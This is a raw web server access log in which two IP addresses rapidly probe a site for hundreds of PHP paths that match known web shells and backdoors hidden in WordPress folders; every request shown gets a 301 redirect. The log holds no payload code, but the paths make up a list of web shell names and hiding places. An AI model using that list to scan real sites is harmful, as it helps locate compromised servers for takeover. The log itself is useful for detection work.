[16/Apr/2025:21:39:30 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:31 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:31 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:31 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:31 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:31 -0400] "GET /wp-admin/includes/class-wp-filesystem-base.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:32 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:32 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:32 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:32 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:32 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:32 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:32 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:32 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:33 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:33 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:33 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:34 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:34 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:34 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:34 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:34 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:35 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:35 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:35 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:35 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:35 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:35 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:35 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:35 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:35 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:35 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:36 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:36 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:36 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:37 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:37 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:37 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:37 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:38 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:38 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:38 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:38 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:38 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:38 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:38 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:38 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:38 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:38 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:39 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:39 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:39 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:39 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:39 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:39 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:39 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:39 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:39 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:39 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:39 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:40 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:40 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:40 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:40 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:40 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:41 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:41 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:41 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:41 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:41 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:41 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:41 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:41 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:41 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:41 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:42 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:42 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:42 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:42 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:42 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:42 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:42 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:43 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:43 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:43 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:43 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:43 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:43 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:43 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:43 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:43 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:43 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:43 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:44 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:44 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:44 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:44 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:45 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:45 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:45 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:45 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:45 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:45 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:45 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:45 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:45 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:45 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:46 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:46 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:46 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:46 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:46 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:46 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:47 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:47 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:47 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:48 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:48 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:48 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:48 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:49 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:49 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:49 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:49 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:49 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:49 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:49 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:49 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:49 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:49 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:49 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:49 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:50 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:50 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:50 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:51 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:51 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:51 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:51 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:51 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:51 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:51 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:51 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:51 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.180.200 - - [16/Apr/2025:21:39:51 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 52.184.145.216 - - [16/Apr/2025:21:39:51 -0400] "GET 